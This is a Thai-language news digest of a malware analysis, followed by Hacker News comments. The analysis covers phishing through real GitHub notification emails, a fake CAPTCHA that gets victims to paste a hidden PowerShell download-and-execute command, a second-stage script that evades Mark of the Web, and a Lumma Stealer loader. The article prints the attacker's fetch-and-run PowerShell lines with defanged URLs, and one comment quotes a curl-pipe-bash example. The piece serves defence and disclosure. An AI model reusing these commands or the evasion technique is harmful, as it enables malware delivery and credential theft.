เหตุการณ์แจกจ่ายมัลแวร์โดยอาศัยอีเมลแจ้งเตือนของ GitHub

 (ianspence.com)
1 คะแนน โดย GN⁺ 2024-09-20 | 1 ความคิดเห็น | แชร์ทาง WhatsApp
  • ผู้โจมตีอาศัยกระแสการแจ้งเตือนปกติของรีโพสาธารณะ เพื่อส่งข้อความอันตรายที่ดูเหมือนเป็น อีเมลที่ GitHub ส่งจริง ไปยังเจ้าของรีโพ
  • เนื้อหาอีเมลส่วนใหญ่ผู้โจมตีสามารถจัดทำขึ้นเองได้ ทำให้การตรวจแค่ผู้ส่งและลิงก์เพียงอย่างเดียวตัดสินได้ยากว่าเป็น ฟิชชิงหรือไม่
  • เมื่อกดลิงก์จะมีหน้า CAPTCHA ปลอมขึ้นมา และชักจูงให้ผู้ใช้นำคำสั่ง PowerShell ไปวางในหน้าต่าง Run ของ Windows เพื่อเริ่มดาวน์โหลดมัลแวร์
  • ไฟล์ถูกดาวน์โหลดด้วย PowerShell .NET System.Net.WebClient.DownloadFile จึงไม่ติด Mark of the Web และสามารถหลบคำเตือนลายเซ็นของ Windows ได้
  • เพย์โหลดสุดท้ายเชื่อมโยงกับมัลแวร์ที่แอนติไวรัสหลายรายบน VirusTotal ตรวจพบเป็น LUMMASTEALER ซึ่งเป็นมัลแวร์กลุ่ม stealer ที่มุ่งขโมยข้อมูลรับรอง กระเป๋าคริปโต และข้อมูลอ่อนไหว

ลำดับการโจมตีที่ใช้อีเมลแจ้งเตือนของ GitHub

  • เจ้าของรีโพสาธารณะมักได้รับอีเมลแจ้งเตือนจาก GitHub เกี่ยวกับกิจกรรมอย่าง issue, comment และ Pull Request อยู่บ่อยครั้ง
  • ผู้โจมตีนำระบบแจ้งเตือนปกตินี้มาใช้ในทางที่ผิดตามลำดับต่อไปนี้
    • สร้าง issue ในรีโพสาธารณะด้วย บัญชี GitHub แบบใช้ครั้งเดียว
    • ลบ issue นั้นอย่างรวดเร็ว
    • เจ้าของรีโพจะได้รับอีเมลแจ้งเตือนที่ส่งมาจาก GitHub
    • หากผู้รับคลิกลิงก์ในอีเมล จะถูกพาไปยังเว็บไซต์อันตราย
    • หากทำตามคำแนะนำ ระบบจะติดมัลแวร์
  • เนื้อหาอีเมลจริงระบุว่าพบช่องโหว่ด้านความปลอดภัย และให้ไปดูข้อมูลเพิ่มเติมที่ github-scanner[.]com โดยแอบอ้างว่าเป็น “Github Security Team”

เหตุใดอีเมลจึงดูน่าเชื่อถือ

  • อีเมลนี้เป็น การแจ้งเตือนที่ GitHub ส่งจริง จึงผ่านการตรวจฟิชชิงทั่วไปได้หลายข้อ
    • ผู้ส่งอีเมลคือ GitHub จริง
    • ลิงก์ในเนื้อหาไปยังปลายทางตามที่แสดงไว้
  • หากดูเฉพาะส่วนของอีเมลที่ผู้โจมตีควบคุมไม่ได้ ก็ยากที่จะตัดสินสถานการณ์ที่แท้จริง
    • ในอีเมลไม่ได้แสดงให้เห็นชัดเจนเพียงพอว่ามีการสร้าง issue ใหม่
    • ผู้โจมตีสามารถสร้างบริบทที่ต้องการผ่านข้อความในเนื้อหาได้
  • อีเมลแจ้งเตือนของ GitHub อาจปรับปรุงเพื่อลดประสิทธิภาพการโจมตีได้ดังนี้
    • ให้ บริบท เพิ่มขึ้นว่าอีเมลนี้ถูกส่งมาเพราะการกระทำใด
    • ลดสัดส่วนของเนื้อหาที่ผู้โจมตีควบคุมได้
    • ทำให้ผู้ส่งอีเมลมีความชัดเจนมากขึ้น
  • อีเมลและข้อกังวลนี้ถูกส่งต่อไปยัง GitHub Security จริงแล้ว

CAPTCHA ปลอมและการรัน PowerShell

  • เมื่อเข้าไปตามลิงก์ในอีเมล จะพบหน้าเว็บที่ดูเหมือน CAPTCHA
  • การให้พิสูจน์ว่าเป็นมนุษย์ด้วย CAPTCHA อาจไม่ใช่เรื่องแปลกสำหรับผู้ใช้ เพราะมี auto challenge จากบริการอย่าง Cloudflare อยู่แล้ว
  • แต่หน้านี้ไม่ใช่ CAPTCHA แบบเลือกภาพทั่วไป กลับสั่งให้เปิดหน้าต่าง Run ของ Windows แล้ววางคำสั่งลงไป
  • คำสั่งขั้นแรกที่ถูกใส่ไว้ในคลิปบอร์ดจะเปิดหน้าต่าง PowerShell แบบซ่อน ดาวน์โหลดสคริปต์จากระยะไกล และรันทันที
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
  • iex คือ alias ของ Invoke-Expression และ iwr คือ alias ของ Invoke-WebRequest
  • รูปแบบการทำงานคล้ายกับการรัน curl | bash บน Linux
  • คอมเมนต์ท้ายคำสั่งช่วยบังส่วนต้นของคำสั่งเพราะข้อจำกัดด้านขนาดของหน้าต่าง Run บน Windows และทำให้ผู้ใช้เห็นเหมือนเป็นข้อความยืนยัน CAPTCHA

การดาวน์โหลดขั้นที่ 2 และการหลบคำเตือนของ Windows

  • สคริปต์ที่ดาวน์โหลดมาจะดึง github-scanner[.]com/l6E.exe มาเก็บเป็น SysSetup.exe ในโฟลเดอร์ชั่วคราวแล้วสั่งรัน
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
  • ไฟล์ปฏิบัติการมีลายเซ็นดิจิทัล แต่ลายเซ็นของไบนารีอันตรายไม่ถูกต้อง
  • ลายเซ็นดูเหมือนมาจาก Spotify แต่หลังหารือกับ DigiCert แล้วสรุปว่าไม่ใช่ใบรับรองที่ถูกขโมย แต่เป็น ลายเซ็นปลอมแปลง
  • Windows ใช้แฟล็ก Mark of the Web(MOTW) เพื่อตัดสินว่าไฟล์ถูกดาวน์โหลดมาจากอินเทอร์เน็ตหรือไม่
    • เบราว์เซอร์และซอฟต์แวร์บางชนิดสามารถตั้งค่าแฟล็กนี้ให้กับไฟล์ที่ดาวน์โหลดได้
    • ซอฟต์แวร์อย่าง Office สามารถเปลี่ยนพฤติกรรมตามแฟล็กนี้ได้
  • หากดาวน์โหลดไฟล์ปฏิบัติการเดียวกันผ่านเบราว์เซอร์ Windows จะเตือนว่าลายเซ็นไม่ถูกต้อง
  • แต่ในเส้นทางของเหยื่อ ไฟล์ไม่ได้ถูกดาวน์โหลดด้วยเบราว์เซอร์ แต่ผ่าน .NET Framework System.Net.WebClient.DownloadFile ของ PowerShell
    • เมธอดนี้ไม่ตั้งค่าแฟล็ก MOTW ให้กับไฟล์ที่ดาวน์โหลด
    • Windows จะแสดงคำเตือนการรันลายเซ็นดิจิทัลที่ไม่ถูกต้องเฉพาะเมื่อมี MOTW ติดอยู่เท่านั้น
  • MOTW สามารถถูกลบออกได้ง่ายอยู่แล้ว ดังนั้นการพึ่งพาแฟล็กนี้จึงไม่ปลอดภัย
  • จุดอ่อนของ Windows ที่เกี่ยวข้องสองรายการได้ถูกรายงานไปยัง Microsoft แล้ว

การวิเคราะห์ loader และเพย์โหลดสุดท้าย

  • ไฟล์ปฏิบัติการแสดงร่องรอยที่เกี่ยวข้องกับ .NET ใน Ghidra จึงถูกนำไปวิเคราะห์ต่อด้วย dotPeek
  • แกนหลักของการทำงานอยู่ที่ entry point และเมธอด PersonalActivation
    • entry point จะซ่อนหน้าต่างคอนโซล
    • เรียก PersonalActivation สองครั้งใน background thread
    • ใช้ VirtualProtect เพื่อทำให้พื้นที่หน่วยความจำสามารถรันได้
    • ใช้ CallWindowProcW เพื่อรัน
  • PersonalActivation รับลิสต์ที่ไม่ได้ใช้งานและอาร์เรย์ไบต์สองชุด
    • อาร์เรย์แรกดูเหมือนเป็น data buffer
    • อาร์เรย์ที่สองถูกระบุว่าเป็น key
    • มีการคำนวณทางคณิตศาสตร์จำนวนมาก จึงดูคล้าย routine สำหรับถอดรหัสบางอย่าง
  • มีการคอมเมนต์ทิ้งการเรียก VirtualProtect และ CallWindowProcW แล้วตรวจสอบบัฟเฟอร์ที่ถอดรหัสได้ในดีบักเกอร์
    • บัฟเฟอร์แรกมี CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread เป็นต้น
    • ยังพบพาธ C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    • บัฟเฟอร์ที่สองเป็นไฟล์ปฏิบัติการของ Windows ที่มีเฮดเดอร์ MZ, PE
  • loader จะนำ exe ที่ “เข้ารหัสไว้” ในอาร์เรย์ไบต์ขนาดใหญ่ด้านบนขึ้นสู่หน่วยความจำ ทำให้รันได้ แล้วจึงสั่งรัน

การตรวจพบ Lumma Stealer และเครื่องมือที่ใช้

  • ขั้นสุดท้ายเป็น Windows exe ที่ไม่ใช่ .NET ทำให้การวิเคราะห์ต่อจากเอาต์พุตของ Ghidra เพียงอย่างเดียวมีข้อจำกัด
  • ไบนารีทั้งสองถูกตรวจพบบน VirusTotal โดยแอนติไวรัสหลายรายอยู่แล้ว
  • ในชื่อการตรวจจับมีแพตเทิร์น LUMMASTEALER ปรากฏร่วมกัน
  • Lumma เป็นหนึ่งในปฏิบัติการมัลแวร์แบบ “malware as a service”
    • โค้ดประเภท stealer จะมองหากระเป๋าคริปโต ข้อมูลรับรองที่บันทึกไว้ และข้อมูลอ่อนไหว
    • ข้อมูลที่เก็บได้จะถูกส่งไปยังเซิร์ฟเวอร์ command-and-control (C2)
    • จากนั้นอาจนำไปสู่การขโมยเงินหรือขายข้อมูลต่อ
  • มัลแวร์ Lumma ไม่มีแนวโน้มเข้ารหัสอุปกรณ์ของเหยื่อแบบเดียวกับแรนซัมแวร์ดั้งเดิม
  • สำหรับข้อมูลเพิ่มเติมเกี่ยวกับ Lumma มีการแนะนำบทความของ Cyfirma เรื่อง Lumma Stealer tactics, impact, and defense strategies
  • เครื่องมือที่ใช้ในการวิเคราะห์คือ Windows Sandbox, Ghidra, dotPeek, HxD และ Visual Studio

บทความที่เกี่ยวข้อง

1 ความคิดเห็น

 
GN⁺ 2024-09-20
ความคิดเห็นจาก Hacker News

  • อดคิดไม่ได้ว่ามีคนหลงเชื่อกลโกงแบบนี้จริง ๆ เหรอ
    ก่อนอื่น จากภาพหน้าจออย่างเดียวอาจยังไม่ชัดเจน แต่ถ้าสมมติว่าผู้เขียนรู้ว่าอีเมลมาจาก GitHub แล้ว สัญญาณอันตรายแรก คือมันพาไปยัง github-scanner.com ซึ่งเป็นการดัดแปลงจากโดเมนจริง
    ถ้าไม่รู้ว่า github-scanner.com เป็นของใคร แค่เพราะมันดูเหมือนเว็บจริงที่น่าเชื่อถือ ก็ควรมองว่าเป็นการหลอกลวงไว้ก่อนจะปลอดภัยกว่า
    สัญญาณอันตรายใหญ่มาก คือ CAPTCHA บอกให้พิมพ์คำสั่งลงในเชลล์ และผมก็ไม่รู้จะพูดอะไรอีกว่าต้องไร้เดียงสาขนาดไหนถึงจะรันมัน

    • สุดท้ายแล้วมันคือ เกมของความน่าจะเป็น
      ไม่มีใครสมบูรณ์แบบ และยิ่งมีองค์ประกอบที่ทำให้เกิดความเชื่อใจมากเท่าไร อัตราการเปลี่ยนเป็นเหยื่อก็ยิ่งมีโอกาสสูงขึ้นเท่านั้น
      ถ้าสายตาไม่ดี กำลังเร่งรีบ หรืออยู่ในสภาพเหนื่อยล้าอ่อนแรง แม้แต่เป้าหมายที่ปกติหลอกยากก็อาจถูกหลอกได้ง่ายขึ้น
      ถ้าทำอัตโนมัติในวงกว้างได้ แม้อัตราการสำเร็จต่ำก็ยังนำไปสู่การยึดบัญชีจำนวนมากได้
    • ถ้าเป็น ปีแรก ที่ผมเพิ่งสร้างบัญชี GitHub ผมก็คงโดนหลอกแน่ ๆ
      มันดูไม่ต่างจากการตั้งค่า SSH key เท่าไร และผู้ใช้ใหม่ก็มีประสบการณ์จริงกับขั้นตอนที่ GitHub ส่งคำสั่งมาให้คัดลอกไปวาง
    • ไม่กี่สัปดาห์ก่อน มีคนมาเปิด issue ใน repository หนึ่งของผม แล้วไม่ถึงนาทีมีสองบัญชีมาตอบพร้อมแปะลิงก์ฝากไฟล์ บอกให้ดาวน์โหลดซอฟต์แวร์สำหรับแก้ปัญหาไปรันดู
      แน่นอนว่าน่าจะเป็น มัลแวร์ ผมเลยลบคอมเมนต์ทันทีแล้วรายงานบัญชีไปยัง GitHub
      ผมคงไม่หลงกลวิธีโจ่งแจ้งแบบนั้น แต่คนที่ถามตอนแรกดูไม่ค่อยเป็นสายเทคนิคจากประวัติกิจกรรมบน GitHub และคุณภาพของคำถาม
      ถ้าอยู่ในสภาพที่ไม่คิดวิพากษ์และอยากลองทุกอย่างให้เร็ว ๆ ก็ดูมีโอกาสจะหลงเชื่อได้
    • อีเมลที่มาจากโดเมนอื่นนั้น น่าเสียดายที่ค่อนข้างพบได้บ่อย
      Citi กับ PayPal ก็ทำแบบนั้นในอีเมลบางฉบับเหมือนกัน ทำให้หงุดหงิดทุกครั้ง
    • ผมอยู่มานานพอที่จะจำ ILOVEYOU ได้ และหลังจากนั้นก็เห็นเงินหลายล้านหรือหลายสิบล้านดอลลาร์ถูกใช้ไปกับการอบรมผู้ใช้ว่าอย่าคลิกสิ่งผิด ๆ
      เดือนที่แล้วในงานประชุมแห่งหนึ่ง CEO ของบริษัทไซเบอร์ซีเคียวริตี้ ขึ้นกล่าว keynote โดยมีประเด็นว่า ในบางกรณีผู้ใช้มากกว่า 80% ยังตกเป็นเหยื่ออีเมลหลอกลวง จึงต้องการเงินเพิ่ม
      สิ่งที่ผมถามวิทยากรอย่างจริงจังก็คือ ถ้าเราใช้เงินไปหลายล้านดอลลาร์และเกือบ 25 ปีแล้ว แต่ผู้ใช้มากกว่า 80% ยังคลิกลิงก์ผิดอยู่ แปลว่าเรากำลังทำอะไรผิดในระดับรากฐานหรือเปล่า

  • ช่วงหลังผมได้รับอีเมลจาก PayPal ที่ดูน่าเชื่อถือกว่านั้นมาก
    มีคนส่งใบเสนอราคามาให้ ซึ่งน่าจะเป็นฟีเจอร์ที่ใช้ได้แม้ไม่ได้ร้องขอ และตั้งชื่อบริษัทประมาณว่า “PayPal ต้องติดต่อคุณเกี่ยวกับการชำระเงินล่าสุด $499.00 โปรดโทร +1-...”
    ดังนั้นเพราะข้อความในอีเมลใบเสนอราคาของ PayPal ที่ว่า “ส่งใบเสนอราคา $xxx ให้คุณ” ชื่อบริษัทนั้นจึงกินพื้นที่ข้อความส่วนใหญ่ด้านบน
    อีเมลนี้มาจาก PayPal.com ของจริง และผมไม่เข้าใจว่าบริษัทประมวลผลการชำระเงินยังป้องกันปัญหาชื่อผู้ใช้แบบนี้ไม่ได้อย่างไร
    ผมรายงานไปแล้วแต่ไม่มีคำตอบ และควรแบนชื่อแบบนั้นทั้งหมด ไม่ใช่แค่บัญชีนั้นบัญชีเดียว
    รูปแบบก็ดูเหมือนอีเมล PayPal ที่ถูกต้องตามกฎหมายจริง ๆ และคนทั่วไปน่าจะหลงกลนี้กันเยอะ
    ถ้าอยากดูอีเมล ติดต่อผมผ่านเว็บไซต์ในโปรไฟล์ได้

    • ผมเจอเรื่องเดียวกันมานานกว่าหนึ่งปีแล้ว ดังนั้นดูเหมือนการรายงานจะไม่ได้ทำให้อะไรเกิดขึ้นมากนัก
    • ผมก็ได้รับอะไรที่คล้ายกันมาก เป็นอีเมล PayPal ที่ถูกต้องจริง แต่ไม่ใช่ใบเสนอราคา เป็น ใบแจ้งหนี้
      พอเข้าสู่ระบบ PayPal แล้ว ในเว็บไซต์กลับไม่แสดงอะไรเลย
    • PayPal จะส่งอีเมลมาบอกให้โทรไปทำไม
      ถ้าต้องการอะไร ก็ควรโทรมาเอง เขียนเนื้อหาในอีเมล หรือแสดงในพอร์ทัล
    • ถ้ามีคนตรวจดูจริง ๆ ผมคงแปลกใจ
    • ประโยคที่ว่า “อีเมลถูกจัดรูปแบบให้ดูเหมือนอีเมล PayPal ของจริง” นั่นแหละคือเหตุผลที่ควรบล็อกอีเมลที่ไม่ใช่ plain text
      ไม่ใช่แค่เหตุผลด้านความปลอดภัย แต่ใครก็ตามที่เคยแตะ HTML แค่ 5 นาทีก็ทำอีเมลที่ “ดูเหมือนของจริง” ได้

  • Win+R, CTRL+V
    จาก CAPTCHA กลายเป็นกับดัก
    ถ้าเป็น นักพัฒนารุ่นจูเนียร์ ก็อาจโดนหลอกได้เหมือนกัน ประมาณว่า “ก็เป็น GitHub นี่นา น่าจะถูกต้องสิ? การแจ้งเตือนความปลอดภัยของไลบรารีที่เราใช้ก็ส่งมาทุกสองเดือนอยู่แล้วนี่”
    บางคนอาจคิดว่า “โอ้ CAPTCHA ที่ต้องรันโค้ดเพื่อแก้เนี่ย แปลกดีนะ!”
    เว็บเพจไม่ควรถูกปล่อยให้เติมคลิปบอร์ดได้ด้วยการคลิกอย่างเดียว และควรมีการแสดงตัวอย่างเนื้อหาก่อน
    คงคิดกันว่าถ้าบังคับให้มีการกระทำของผู้ใช้ เช่น การคลิก ก็จะแก้ปัญหาได้ แต่ก็ยังอ่อนแอเกินไปอยู่ดี และนี่คือ ปัญหาแรก
    ผู้คนควรเลิกเปิดลิงก์ในอีเมลไปตรง ๆ หรือเชื่อว่าเนื้อหาในอีเมลมีความชอบธรรม ตัวเนื้อหาอีเมลเองไม่มีความชอบธรรมในตัว และนี่คือปัญหาที่สอง
    อย่างที่สาม Windows ยังปล่อยให้ใช้ PowerShell บรรทัดเดียวเข้ายึดเครื่องได้ในระดับสิทธิ์ root อยู่อีกหรือ?
    GitHub เองก็อาจต้องไม่ยอมให้ใส่ลิงก์ใน issue จากบริการอัตโนมัติ หากไม่ได้ตรวจสอบจากระยะไกลก่อนว่าเป็นเนื้อหาที่ถูกต้องตามกฎหมาย
    ในเมื่อส่งสิ่งนี้ไปยังอีเมลของผู้คนอยู่ ก็ไม่ควรอ้างว่าไม่รู้ว่ามันอาจถูกใช้ทำฟิชชิงได้ เรื่องนี้ถือเป็นพื้นฐานไซเบอร์ซีเคียวริตี้ 101 ตั้งแต่ปี 2015 แล้วด้วยซ้ำ
    สุดท้าย ถ้า GitHub ทำมาตรการข้างต้นไม่ได้ ก็ควรตัดเนื้อหาในอีเมลที่ส่งถึงผู้ใช้ออกให้มากขึ้น และส่งแค่ประมาณ “มี issue ใหม่ในรีโพซิทอรีนี้...” แบบธนาคารก็พอ
    แบบนั้นพอผู้ใช้เข้าไปดูก็จะไม่เห็นข้อความ และเรื่องก็คงจบแค่นั้น GitHub น่าจะต้องโตเป็นผู้ใหญ่มากกว่านี้ในจุดนี้

    • สำหรับคำว่า “นักพัฒนารุ่นจูเนียร์อาจโดนหลอกได้” ผมว่าไม่ใช่แค่จูเนียร์ แต่คนสารพัดแบบก็พลาดได้ เป็นเรื่องปกติ
      คิดว่าต้องฝึกผู้คนให้ดีว่าของที่เป็นอันตรายคืออะไร
      ส่วนเรื่อง Windows มีพนักงานอย่างน้อยสองคนขอให้ช่วยย้ายออกจาก Windows จะพยายามให้ดีที่สุด และแม้เป็นโปรเจกต์ที่ใช้เวลานาน แต่สุดท้ายก็จะทำให้ได้
    • ส่วนประเด็นที่ว่าใช้ PowerShell บรรทัดเดียวเข้ายึดเครื่องได้นั้น จะเป็นไปได้ก็ต่อเมื่อคำสั่งนั้นถูกรันจาก บัญชีที่มีสิทธิ์ผู้ดูแลระบบ
      ไอคอนโล่ในภาพหน้าจอกล่องโต้ตอบ “Run” แสดงชัดเจนว่าเป็นผู้ใช้ที่มีสิทธิ์ผู้ดูแลระบบและปิด UAC อยู่
      ถ้าอย่างนั้นก็คงถึงคราวต้องร้องว่า Linux ก็ปล่อยให้ใช้ curl malware.zyx/evilscript | bash บรรทัดเดียวขโมยสิทธิ์ root ได้เหมือนกัน
    • สำหรับผู้ใช้ที่ไม่ใช่สายเทคนิค เริ่มมีการปิดใช้งาน กล่องโต้ตอบ Run แล้ว แต่ปัญหาคือการโจมตีบน GitHub มุ่งเป้าไปที่ผู้ใช้ที่ยังจำเป็นต้องใช้ฟีเจอร์นั้นจริง ๆ เป็นครั้งคราว
      กลยุทธ์คลิปบอร์ดก็น่าจะบล็อกได้ง่าย คนหลอกลวงส่วนใหญ่แค่โน้มน้าวทางโทรศัพท์ให้พิมพ์ URL ที่ปลอมตัวมาอย่างดีลงในกล่องโต้ตอบ Run โดยตรงเท่านั้น
    • CAPTCHA แบบนี้ห่วยมาก จนอยากทำระบบอัตโนมัติให้ถ้าเบราว์เซอร์ขึ้นว่า “กด Win+R, CTRL+V” ก็ให้เอาเนื้อหาในคลิปบอร์ดไปรัน cmd.exe เองเลย จะได้ดูเนื้อหาเว็บได้เร็วขึ้นและไม่สะดุด
      ใช่แล้ว ผมคือ ผู้ใช้ Windows ระดับ 10x
    • มีคนบอกว่าใน Windows ใช้บรรทัดเดียวก็ได้สิทธิ์ระดับ root เป็นปัญหา แต่ผมกลับมองว่านั่นเป็นข้อดี
      เหตุผลที่เราปฏิบัติกับ Windows เหมือนเราเป็น “root” ได้ ก็เพราะเราเป็น root จริง ๆ โดยเฉพาะเพราะการติดตั้ง Windows จะสร้างบัญชีผู้ใช้แรกเป็นบัญชีผู้ดูแลระบบเสมอ
      นี่คือข้อดี เราสามารถทำสิ่งที่ต้องการบนคอมพิวเตอร์ที่เราเป็นเจ้าของและใช้งานได้
      ในยุคที่ระบบปฏิบัติการถูกล็อกมากขึ้นเรื่อย ๆ จนผู้ใช้ไม่สามารถเป็นเจ้าของและดูแลคอมพิวเตอร์ของตัวเองได้อย่างแท้จริง Windows ก็แค่ยอมให้ทำได้
      ได้โปรด อย่าให้จุดนี้เปลี่ยนไปเด็ดขาด

  • สรุปก็คือ อย่าคลิกลิงก์ในอีเมล
    github-scanner.com กับ github-scanner.shop ยังเป็นผู้ไม่หวังดีรายเดียวกันอยู่หรือเปล่า? ดูเหมือนจะใช่
    ตลกดีที่ DNS อยู่กับ Cloudflare Cloudflare ขึ้นชื่อว่าพูดว่า “เราไม่ได้โฮสต์อะไรเลย” แต่เหมือนเห็นพวกเราเป็นคนโง่กันหมด
    ดูเหมือนจะไม่มีทางรายงานการละเมิดแบบนี้กับ Cloudflare ที่ไม่รับผิดชอบอะไรเลยด้วย
    โดเมน 2x.si ที่โฮสต์มัลแวร์ ใช้ทั้ง DNS ของ Cloudflare และโฮสต์กับ Cloudflare
    อย่างน้อยอันนี้ก็รายงานไปที่ Cloudflare ได้ แต่ในฟอร์มรายงานการละเมิดกลับจำกัดอัตรากับคนกรอก แถมยังบังคับ CAPTCHA อีก
    ได้แต่ถอนหายใจ ทุกวันนี้ ฟิชชิงและการโฮสต์มัลแวร์ ทำได้ง่ายเกินไปเพราะ Cloudflare

    • Cloudflare ตอบสนองต่อรายงานการละเมิดได้ดีกว่านายทะเบียน DNS ระดับประเทศ 95% มาก
      พูดจากประสบการณ์ที่เคยรับมือกับทั้งสองฝ่าย
    • ไม่รู้ว่าตอบสนองได้มีประสิทธิภาพและรวดเร็วแค่ไหน แต่มีวิธีรายงานมัลแวร์อยู่ https://www.cloudflare.com/trust-hub/reporting-abuse/
      หน้านั้นมี Phishing & Malware เป็นประเภทการละเมิดให้เลือก
    • ไม่ใช่ว่า “อย่าคลิกลิงก์ในอีเมล” จะผิด แต่กรณีนี้ดูเหมือนควรสรุปว่า “อย่าหลงเชื่อ CAPTCHA ที่บอกให้คุณวางโค้ดลงในหน้าต่างที่ระบุว่าจะรันด้วยสิทธิ์ผู้ดูแลระบบ” มากกว่า
      อาจเป็นการบ่นมากกว่าความเห็นด้านความปลอดภัยแบบจริงจัง แต่ผมหงุดหงิดเสมอกับเกณฑ์สอบตกในการทดสอบฟิชชิงที่ว่า “คลิกลิงก์ใด ๆ ในอีเมล”
      ในความเป็นจริง ประเด็นหลักน่าจะอยู่ที่ว่าได้กรอกข้อมูลรับรองลงในเว็บฟิชชิงหรือไม่ หรือดาวน์โหลดไฟล์มาเปิดหรือไม่มากกว่า
      เข้าใจว่าการสอนผู้ใช้ที่ไม่ใช่สายเทคนิคไม่ให้คลิกลิงก์อันตรายเลยนั้นง่ายกว่า และช่องโหว่เบราว์เซอร์ก็มีอยู่จริง แต่ก็ยังรู้สึกรำคาญอยู่ดี
      ผมเห็นบ่อยว่าบทความแบบนี้สุดท้ายมักจบลงด้วยผู้ใช้กรอกข้อมูลรับรอง ให้สิทธิ์แปลก ๆ กับเบราว์เซอร์ ดาวน์โหลดไฟล์ หรืออย่างกรณีนี้คือรันคำสั่ง
      แทบไม่เคยเห็นกรณีที่จบลงด้วย “คลิกลิงก์แล้ว 0-day ของเบราว์เซอร์ระเบิด จบ” เลย
      เว็บเบราว์เซอร์มี attack surface กว้างก็จริง แต่ในขณะเดียวกันมันก็เป็นเครื่องมือที่ถูกสร้างมาเพื่อท่องอินเทอร์เน็ต
      คนส่วนใหญ่ทำงานหรือค้นคว้าไปพร้อมกับคลิกลิงก์ค่อนข้างไม่คิดมาก
      การป้องกันเชิงลึกเป็นสิ่งจำเป็น แต่นโยบายความปลอดภัยที่ตั้งหลักว่า “ห้ามเข้าเว็บไซต์อันตรายเด็ดขาด” ดูมีข้อบกพร่องพอสมควร
    • ถ้าจะยืนยันอีเมลของบัญชีใหม่ จะทำยังไงถ้าไม่กดลิงก์
      ทางหนึ่งคือใช้ Qubes OS แล้วเปิดลิงก์เฉพาะในเครื่องเสมือนแบบใช้ครั้งเดียวทิ้ง และไม่กรอกข้อมูลอื่นเพิ่มเติม
      เวลาผมได้รับอีเมลยืนยันที่อยู่อีเมลของบัญชีใหม่ ส่วนใหญ่ก็ทำแบบนั้น
      จะหลีกเลี่ยงการคลิกลิงก์ได้เสมอไปคงไม่ใช่หรอก

  • พอเห็นส่วนที่บอกว่า “ผู้โจมตีลบ issue อย่างรวดเร็ว” ก็เพิ่งนึกได้ว่าผมไม่เคยลองลบ issue ที่ตัวเองสร้างเลย
    แต่คนที่จะลบ issue ใน repository ได้มีแค่คนที่มีสิทธิ์ผู้ดูแลไม่ใช่เหรอ? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
    ถ้าอย่างนั้นจริง ๆ แล้วร่องรอยของ issue นั้นก็น่าจะยังเหลืออยู่ใน repository และ pull request ก็เช่นกัน

    • เป็นไปได้ว่า GitHub ตัดสินแล้วว่าเป็นอันตรายและลบไปแล้ว แต่ email อาจถูกส่งออกไปแล้ว
    • เจ้าของ repository สามารถแก้ไขได้แม้กระทั่ง ชื่อเรื่องและเนื้อหา ของ issue ที่คนอื่นเปิด

  • ข้ออ้างที่ว่าไม่มีอะไรบอกว่า email นั้นเกี่ยวข้องกับ issue ใหม่นั้นไม่ถูกต้อง
    คำว่า “(Issue #1)” ในหัวเรื่องหมายถึงสิ่งนั้นอย่างชัดเจน
    ผมเองก็ได้รับ email แบบเดียวกันจริง ๆ และรู้ทันทีว่ามี issue ใหม่ถูกสร้างใน repository
    ผู้ใช้คนนี้เห็นได้ชัดว่าไม่คุ้นเคยกับ GitHub Issues ซึ่งดูได้จากการที่มันเป็น issue แรกของ repository ด้วย
    คิดว่า GitHub ควรสอนผู้ใช้ใหม่ให้ดีกว่านี้

    • ก็ใช่ แต่ผมเคยทำงานในบริษัทที่ให้บัญชี GitHub สำหรับรายงานบั๊กแก่ผู้ใช้ที่ไม่ได้คุ้นเคยกับรายละเอียดทางเทคนิคทั้งหมด
      คนแบบนี้ถูกหลอกได้ง่ายมากจริง ๆ
      คนสายเทคนิคอาจมองออก แต่ก็ไม่ได้หมายความว่า GitHub จะมีข้ออ้างว่าไม่ต้องทำให้ดีกว่านี้

  • เช้านี้ได้รับ notification แบบนี้มาฉบับหนึ่ง แล้วก็เมินไปทันที
    ที่ตลกคือเป้าหมายดันเป็น repository นี้พอดี: https://github.com/kyledrake/theftcoinjs

  • เป็นบทความที่ควรอ่าน แสดงให้เห็นว่าผู้โจมตีกำลังพยายามทำอะไร
    แค่เห็นลิงก์ก็น่าสงสัยได้ไม่ยาก แต่สนุกดีที่ได้เห็นกระบวนการที่มีคนขุดคุ้ยลงไป

  • เช้านี้ผมโพสต์บั๊กใน repository บน GitHub แล้วไม่ถึง 1 นาทีมีคนมาตอบประมาณว่า
    “ลองอันนี้ดูครับ น่าจะแก้ปัญหาได้ ถ้าต้องใช้คอมไพเลอร์ก็ให้ติดตั้ง GCC”
    จากนั้นมีลิงก์ Bitly ที่ redirect ไปยังไฟล์ zip บน MediaFire พร้อมรหัสผ่านแนบมาด้วย
    GitHub จัดการรายงาน abuse ของผมภายในหนึ่งชั่วโมง และลบโพสต์ทั้งหมดของผู้ใช้นั้นออก

  • ให้ตายสิ ผมก็ได้รับ email แจ้งเตือน GitHub คล้าย ๆ กันอยู่เหมือนกัน
    เนื้อหาบอกว่าตรวจพบช่องโหว่ใน repository และก่อนเห็นข่าวนี้ก็ไม่เคยคิดว่าเป็นของปลอม
    แต่โชคดีที่เป็นโปรแกรมเมอร์ขี้เกียจเลยไม่ได้คลิก เขียนครั้งเดียวก็ถือว่าเขียนแล้ว ถึงจะเขียนโค้ดใหม่บ้าง แต่ผมไม่ไล่หาบั๊กในโค้ดตัวเองแล้วแก้หรอก

    • สรุปการแจ้งเตือนความปลอดภัยของ GitHub มีอยู่จริง https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts
      เป็นฟีเจอร์ที่ GitHub แจ้งเตือนช่องโหว่ด้านความปลอดภัยใน dependencies ของโปรเจกต์
